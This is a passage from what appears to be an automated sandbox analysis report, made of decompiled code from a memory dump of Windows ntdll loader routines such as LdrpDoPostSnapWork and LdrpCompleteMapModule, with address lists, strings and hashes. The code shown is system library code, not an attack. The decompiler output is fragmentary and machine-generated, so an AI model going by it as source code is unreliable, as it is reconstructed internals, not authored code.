								if(_t159 < 0) {
									_t81 =  *0x4725780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E046B5510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0x4725780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E0464849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E04648999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E04648999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0x4725c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0x4725c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E04652280(_t92, 0x47286cc);
															_t94 = E04709DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E046661A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0x4725c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E04648A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0x4725c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0x4725c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
												_t105 = E0467F380(_t136, 0x4611184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E04652280(_t108, 0x47286cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E046661A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E04709D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E0464FFB0(_t118, _t156, 0x47286cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E04679A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}

0x04648799
0x0464879d
0x046487a1
0x046487a3
0x046487a8
0x046487c3
0x046487c3
0x046487c8
0x046487d1
0x046487d4
0x046487d8
0x046487e5
0x046487ec
0x04699bfe
0x04699c00
0x04699c02
0x04699c08
0x04699c0d
0x04699c0f
0x04699c14
0x04699c2d
0x04699c32
0x04699c37
0x04699c3a
0x04699c3c
0x04699c42
0x04699c42
0x04699c3c
0x04699c02
0x046487da
0x046487df
0x046487e3
0x00000000
0x00000000
0x046487e3
0x046487f2
0x00000000
0x046487fb
0x046487fd
0x046487fe
0x0464880e
0x0464880f
0x04648810
0x04648814
0x0464881a
0x0464881c
0x0464881f
0x04648821
0x04648822
0x04648824
0x04648826
0x0464882c
0x0464882e
0x04699c48
0x04699c48
0x04648834
0x04648834
0x04648837
0x00000000
0x00000000
0x04648837
0x0464882e
0x0464883d
0x04648840
0x04648843
0x04648846
0x04648849
0x0464884c
0x0464884e
0x04648850
0x04648852
0x04648854
0x04648857
0x046488b4
0x046488b6
0x046488b6
0x04648859
0x04648859
0x04648859
0x04648861
0x04648866
0x0464886a
0x0464893d
0x04648941
0x00000000
0x04648947
0x04648947
0x0464894a
0x0464894c
0x00000000
0x04648952
0x04648955
0x0464895a
0x0464895d
0x0464895d
0x0464895f
0x04648961
0x04648961
0x04648968
0x00000000
0x00000000
0x0464896a
0x0464896b
0x0464896e
0x00000000
0x04648970
0x04648970
0x04648970
0x04648970
0x04648972
0x04648972
0x04648974
0x00000000
0x0464897a
0x0464897a
0x0464897d
0x00000000
0x04648983
0x04699c65
0x04699c6d
0x04699c72
0x04699c75
0x04699c75
0x04699c82
0x04699c86
0x04699c87
0x04699c88
0x04699c89
0x04699c8c
0x04699c90
0x04699c95
0x04699c97
0x04699ca0
0x04699ca3
0x04699ca9
0x04699ca9
0x00000000
0x04699ca9
0x04699ca3
0x00000000
0x04699c97
0x0464897d
0x00000000
0x04648974
0x04648988
0x04648992
0x04648996
0x00000000
0x04648996
0x0464894c
0x00000000
0x04648870
0x0464887b
0x0464887d
0x0464887f
0x04648881
0x04648884
0x04648884
0x04648886
0x04648889
0x0464888c
0x0464888e
0x04648891
0x04648891
0x04648898
0x00000000
0x00000000
0x0464889a
0x0464889b
0x0464889e
0x00000000
0x00000000
0x046488a0
0x046488a8
0x046488b0
0x046488b2
0x046488d3
0x046488d5
0x00000000
0x046488d7
0x046488db
0x046488dc
0x046488e0
0x046488e8
0x046488ee
0x046488f0
0x046488f3
0x046488fc
0x04648901
0x04648906
0x0464890c
0x0464890c
0x0464890f
0x04648916
0x04648917
0x04648918
0x04648919
0x0464891a
0x0464891f
0x04648921
0x04699c52
0x04699c55
0x04699c5b
0x04699cac
0x04699cc0
0x04699cc0
0x04699c55
0x04648927
0x04648927
0x0464892f
0x04648933
0x00000000
0x046488f5
0x046488f5
0x00000000
0x046488f7
0x046488f7
0x046488fa
0x00000000
0x00000000
0x00000000
0x00000000
0x046488fa
0x046488f5
0x046488f3
0x00000000
0x046488d5
0x00000000
0x046488b2
0x046488c9
0x00000000
0x046488c9
0x0464887f
0x0464886a
0x04648857
0x04648852
0x046488bf
0x046488bf
0x046487aa
0x046487ad
0x046487ae
0x046487b4
0x046487b5
0x046487b6
0x046487b8
0x046487bd
0x046487c1
0x046487f4
0x046487fa
0x00000000
0x00000000
0x00000000
0x046487c1
0x00000000

Strings

LdrpDoPostSnapWork, xrefs: 04699C1E
LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 04699C18
minkernel\ntdll\ldrsnap.c, xrefs: 04699C28

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
API String ID: 0-1948996284
Opcode ID: 84867841eca4e9c88e4e7499b07bb4778f202b68f9aaf8ff2cce225818fea4f9
Instruction ID: 39f9bc85166d35c31ed2f06e4de15ba1046016aeef975d83b003aeab183b8884
Opcode Fuzzy Hash: 84867841eca4e9c88e4e7499b07bb4778f202b68f9aaf8ff2cce225818fea4f9
Instruction Fuzzy Hash: BB91CEB5A00216EFEF18EF59C880AAAB3B5FF94354B044169E905AB350F771BD45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04647E41, Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E04647E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E0464CEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E0463C9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0x4725780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E046B5510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0x4725780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E04657D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E04657D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E046B7016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E04657D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E04657D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E046B7016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E0466A1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E0463B1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}

0x04647e4c
0x04647e50
0x04647e55
0x04647e58
0x04647e5d
0x04647e71
0x04647f33
0x04647e77
0x04647e77
0x04647e79
0x04647e79
0x04647e7e
0x04647f45
0x04699848
0x00000000
0x04699848
0x04647f4e
0x04647f53
0x04647f5a
0x00000000
0x00000000
0x0469985a
0x04699862
0x04699866
0x00000000
0x0469986c
0x00000000
0x0469986c
0x04647e84
0x04647e84
0x04647e8d
0x04699871
0x04647eb8
0x04647ec0
0x04647ec0
0x04647e9a
0x0469987e
0x00000000
0x00000000
0x04699884
0x0469988b
0x046998a7
0x046998ac
0x046998b1
0x046998b6
0x046998b8
0x046998b8
0x046998b9
0x00000000
0x046998b9
0x04647ea0
0x04647ea7
0x00000000
0x00000000
0x04647eac
0x04647eb1
0x04647ec6
0x04647ed0
0x046998cc
0x04647ed6
0x04647ed6
0x04647ed6
0x04647ede
0x04647ee3
0x046998e3
0x046998f0
0x04699902
0x046998f2
0x046998fb
0x046998fb
0x04699907
0x0469991d
0x0469991d
0x04699907
0x046998e3
0x04647ef0
0x04647f14
0x04647f14
0x04647f1e
0x04699946
0x04647f24
0x04647f24
0x04647f24
0x04647f2c
0x0469996a
0x04699975
0x04699975
0x0469997e
0x04699993
0x04699993
0x0469997e
0x00000000
0x04647ef2
0x04647efc
0x04647f0a
0x04647f0e
0x04699933
0x00000000
0x04699933
0x00000000
0x04647f0e
0x00000000
0x00000000
0x00000000
0x04647eb1

Strings

minkernel\ntdll\ldrmap.c, xrefs: 046998A2
Could not validate the crypto signature for DLL %wZ, xrefs: 04699891
LdrpCompleteMapModule, xrefs: 04699898

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: 70c244a4038f114f35eac62647787137037efe15ec0cb2e215420322b9da9a91
Instruction ID: 7f7976966180ba326966da83fcfd9e56b0ec7e65e753c23389c7505a552089cf
Opcode Fuzzy Hash: 70c244a4038f114f35eac62647787137037efe15ec0cb2e215420322b9da9a91
Instruction Fuzzy Hash: 7251DF716007459BEF21CB68C944B6ABBE8EB90315F0406AEE8519B7E1F774FE01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0463E620, Relevance: 3.9, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0463E620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E0463F358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E046795D0();
						}
						if(_t78 != 0) {
							L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E0467FA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E0467BB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E04679600();
					if(_t97 < 0) {
						goto L6;
					}
					E0467BB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L0463F018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E0467BB40(_t83, _t102 + 0x24, _t78);
								if(L046443C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E0467BB40(_t84, _t102 + 0x24, _t94);
									if(L046443C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x0463e620
0x0463e628
0x0463e62f
0x0463e631
0x0463e635
0x0463e637
0x0463e63e
0x04695503
0x04695503
0x0463e64c
0x0463e64c
0x0463e651
0x00000000
0x00000000
0x0463e661
0x0463e665
0x0469542a
0x0463e715
0x0463e71a
0x0463e71c
0x0463e720
0x0463e720
0x0463e727
0x0463e736
0x0463e736
0x0463e743
0x0463e743
0x0463e673
0x0463e678
0x0463e67d
0x0463e682
0x0463e685
0x0463e692
0x0463e69b
0x0463e6a3
0x0463e6ad
0x0463e6b1
0x0463e6b2
0x0463e6bb
0x0463e6bf
0x0463e6c0
0x0463e6c8
0x0463e6cc
0x0463e6d5
0x0463e6d9
0x00000000
0x00000000
0x0463e6e5
0x0463e6ea
0x0463e6f9
0x0463e70b
0x0463e70f
0x04695439
0x0469545e
0x0469545e
0x00000000
0x0469545e
0x0469543b
0x0469543e
0x04695440
0x04695445
0x04695472
0x04695475
0x0469548d
0x04695493
0x046954a9
0x00000000
0x00000000
0x046954ab
0x046954b4
0x046954bc
0x046954c8
0x046954de
0x046954fb
0x046954e0
0x046954e6
0x046954eb
0x046954eb
0x046954de
0x00000000
0x046954bc
0x04695477
0x0469547a
0x04695480
0x04695483
0x04695486
0x0469548b
0x00000000
0x00000000
0x00000000
0x0469548b
0x00000000
0x00000000
0x00000000
0x00000000
0x04695447
0x04695447
0x04695447
0x04695447
0x0469544e
0x00000000
0x00000000
0x04695450
0x04695452
0x04695455
0x0469545a
0x00000000
0x00000000
0x00000000
0x0469545c
0x0469546a
0x0469546d
0x0469546f
0x00000000
0x0469546f
0x0463e70f

Strings

\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 0463E68C
InstallLanguageFallback, xrefs: 0463E6DB
@, xrefs: 0463E6C0

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: 026305f6c48558d7cac1896b453c44e3bc9ccea63b6d497382c9ab741847aa15
Instruction ID: 3bb287e66fa7b76a4ade830bf6b6a296fb37046d5ddeaaab20215fb567975586
Opcode Fuzzy Hash: 026305f6c48558d7cac1896b453c44e3bc9ccea63b6d497382c9ab741847aa15
Instruction Fuzzy Hash: 9851C172504355ABDB15DF64C450A6BB3E8AF98B59F04092EF986D7300FB74EE04C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 046FE539, Relevance: 2.8, Strings: 2, Instructions: 261
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E046FE539(unsigned int* __ecx, intOrPtr __edx, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				unsigned int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				signed int _v72;
				void* __ebx;
				void* __edi;
				char _t87;
				signed int _t90;
				signed int _t94;
				signed int _t100;
				intOrPtr* _t113;
				signed int _t122;
				void* _t132;
				void* _t135;
				signed int _t139;
				signed int* _t141;
				signed int _t146;
				signed int _t147;
				void* _t153;
				signed int _t155;
				signed int _t159;
				char _t166;
				void* _t172;
				void* _t176;
				signed int _t177;
				intOrPtr* _t179;

				_t179 = __ecx;
				_v48 = __edx;
				_v68 = 0;
				_v72 = 0;
				_push(__ecx[1]);
				_push( *__ecx);
				_push(0);
				_t153 = 0x14;
				_t135 = _t153;
				_t132 = E046FBBBB(_t135, _t153);
				if(_t132 == 0) {
					_t166 = _v68;
					goto L43;
				} else {
					_t155 = 0;
					_v52 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v56 = __ecx[1];
					if( *__ecx >> 8 < 2) {
						_t155 = 1;
						_v52 = 1;
					}
					_t139 = _a4;
					_t87 = (_t155 << 0xc) + _t139;
					_v60 = _t87;
					if(_t87 < _t139) {
						L11:
						_t166 = _v68;
						L12:
						if(_t132 != 0) {
							E046FBCD2(_t132,  *_t179,  *((intOrPtr*)(_t179 + 4)));
						}
						L43:
						if(_v72 != 0) {
							_push( *((intOrPtr*)(_t179 + 4)));
							_push( *_t179);
							_push(0x8000);
							E046FAFDE( &_v72,  &_v60);
						}
						L46:
						return _t166;
					}
					_t90 =  *(_t179 + 0xc) & 0x40000000;
					asm("sbb edi, edi");
					_t172 = ( ~_t90 & 0x0000003c) + 4;
					if(_t90 != 0) {
						_push(0);
						_push(0x14);
						_push( &_v44);
						_push(3);
						_push(_t179);
						_push(0xffffffff);
						if(E04679730() < 0 || (_v40 & 0x00000060) == 0 || _v44 != _t179) {
							_push(_t139);
							E046FA80D(_t179, 1, _v40, 0);
							_t172 = 4;
						}
					}
					_t141 =  &_v72;
					if(E046FA854(_t141,  &_v60, 0, 0x2000, _t172, _t179,  *_t179,  *((intOrPtr*)(_t179 + 4))) >= 0) {
						_v64 = _a4;
						_t94 =  *(_t179 + 0xc) & 0x40000000;
						asm("sbb edi, edi");
						_t176 = ( ~_t94 & 0x0000003c) + 4;
						if(_t94 != 0) {
							_push(0);
							_push(0x14);
							_push( &_v24);
							_push(3);
							_push(_t179);
							_push(0xffffffff);
							if(E04679730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t179) {
								_push(_t141);
								E046FA80D(_t179, 1, _v20, 0);
								_t176 = 4;
							}
						}
						if(E046FA854( &_v72,  &_v64, 0, 0x1000, _t176, 0,  *_t179,  *((intOrPtr*)(_t179 + 4))) < 0) {
							goto L11;
						} else {
							_t177 = _v64;
							 *((intOrPtr*)(_t132 + 0xc)) = _v72;
							_t100 = _v52 + _v52;
							_t146 =  *(_t132 + 0x10) & 0x00000ffd | _t177 & 0xfffff000 | _t100;
							 *(_t132 + 0x10) = _t146;
							asm("bsf eax, [esp+0x18]");
							_v52 = _t100;
							 *(_t132 + 0x10) = (_t100 << 0x00000002 ^ _t146) & 0x000000fc ^ _t146;
							 *((short*)(_t132 + 0xc)) = _t177 - _v48;
							_t47 =  &_a8;
							 *_t47 = _a8 & 0x00000001;
							if( *_t47 == 0) {
								E04652280(_t179 + 0x30, _t179 + 0x30);
							}
							_t147 =  *(_t179 + 0x34);
							_t159 =  *(_t179 + 0x38) & 1;
							_v68 = 0;
							if(_t147 == 0) {
								L35:
								E0464B090(_t179 + 0x34, _t147, _v68, _t132);
								if(_a8 == 0) {
									E0464FFB0(_t132, _t177, _t179 + 0x30);
								}
								asm("lock xadd [eax], ecx");
								asm("lock xadd [eax], edx");
								_t132 = 0;
								_v72 = _v72 & 0;
								_v68 = _v72;
								if(E04657D50() == 0) {
									_t113 = 0x7ffe0388;
								} else {
									_t177 = _v64;
									_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
								}
								if( *_t113 == _t132) {
									_t166 = _v68;
									goto L46;
								} else {
									_t166 = _v68;
									E046EFEC0(_t132, _t179, _t166, _t177 + 0x1000);
									goto L12;
								}
							} else {
								L23:
								while(1) {
									if(_v72 < ( *(_t147 + 0xc) & 0xffff0000)) {
										_t122 =  *_t147;
										if(_t159 == 0) {
											L32:
											if(_t122 == 0) {
												L34:
												_v68 = 0;
												goto L35;
											}
											L33:
											_t147 = _t122;
											continue;
										}
										if(_t122 == 0) {
											goto L34;
										}
										_t122 = _t122 ^ _t147;
										goto L32;
									}
									_t122 =  *(_t147 + 4);
									if(_t159 == 0) {
										L27:
										if(_t122 != 0) {
											goto L33;
										}
										L28:
										_v68 = 1;
										goto L35;
									}
									if(_t122 == 0) {
										goto L28;
									}
									_t122 = _t122 ^ _t147;
									goto L27;
								}
							}
						}
					}
					_v72 = _v72 & 0x00000000;
					goto L11;
				}
			}

0x046fe547
0x046fe549
0x046fe54f
0x046fe553
0x046fe557
0x046fe55a
0x046fe55c
0x046fe55f
0x046fe561
0x046fe567
0x046fe56b
0x046fe7e2
0x00000000
0x046fe571
0x046fe575
0x046fe577
0x046fe57b
0x046fe57c
0x046fe57d
0x046fe57e
0x046fe57f
0x046fe588
0x046fe58f
0x046fe591
0x046fe592
0x046fe592
0x046fe596
0x046fe59e
0x046fe5a0
0x046fe5a6
0x046fe61d
0x046fe61d
0x046fe621
0x046fe623
0x046fe630
0x046fe630
0x046fe7e6
0x046fe7eb
0x046fe7ed
0x046fe7f4
0x046fe7fa
0x046fe7ff
0x046fe7ff
0x046fe80a
0x046fe812
0x046fe812
0x046fe5ab
0x046fe5b4
0x046fe5b9
0x046fe5be
0x046fe5c0
0x046fe5c2
0x046fe5c8
0x046fe5c9
0x046fe5cb
0x046fe5cc
0x046fe5d5
0x046fe5e4
0x046fe5f1
0x046fe5f8
0x046fe5f8
0x046fe5d5
0x046fe602
0x046fe616
0x046fe63d
0x046fe644
0x046fe64d
0x046fe652
0x046fe657
0x046fe659
0x046fe65b
0x046fe661
0x046fe662
0x046fe664
0x046fe665
0x046fe66e
0x046fe67d
0x046fe68a
0x046fe691
0x046fe691
0x046fe66e
0x046fe6b0
0x00000000
0x046fe6b6
0x046fe6bd
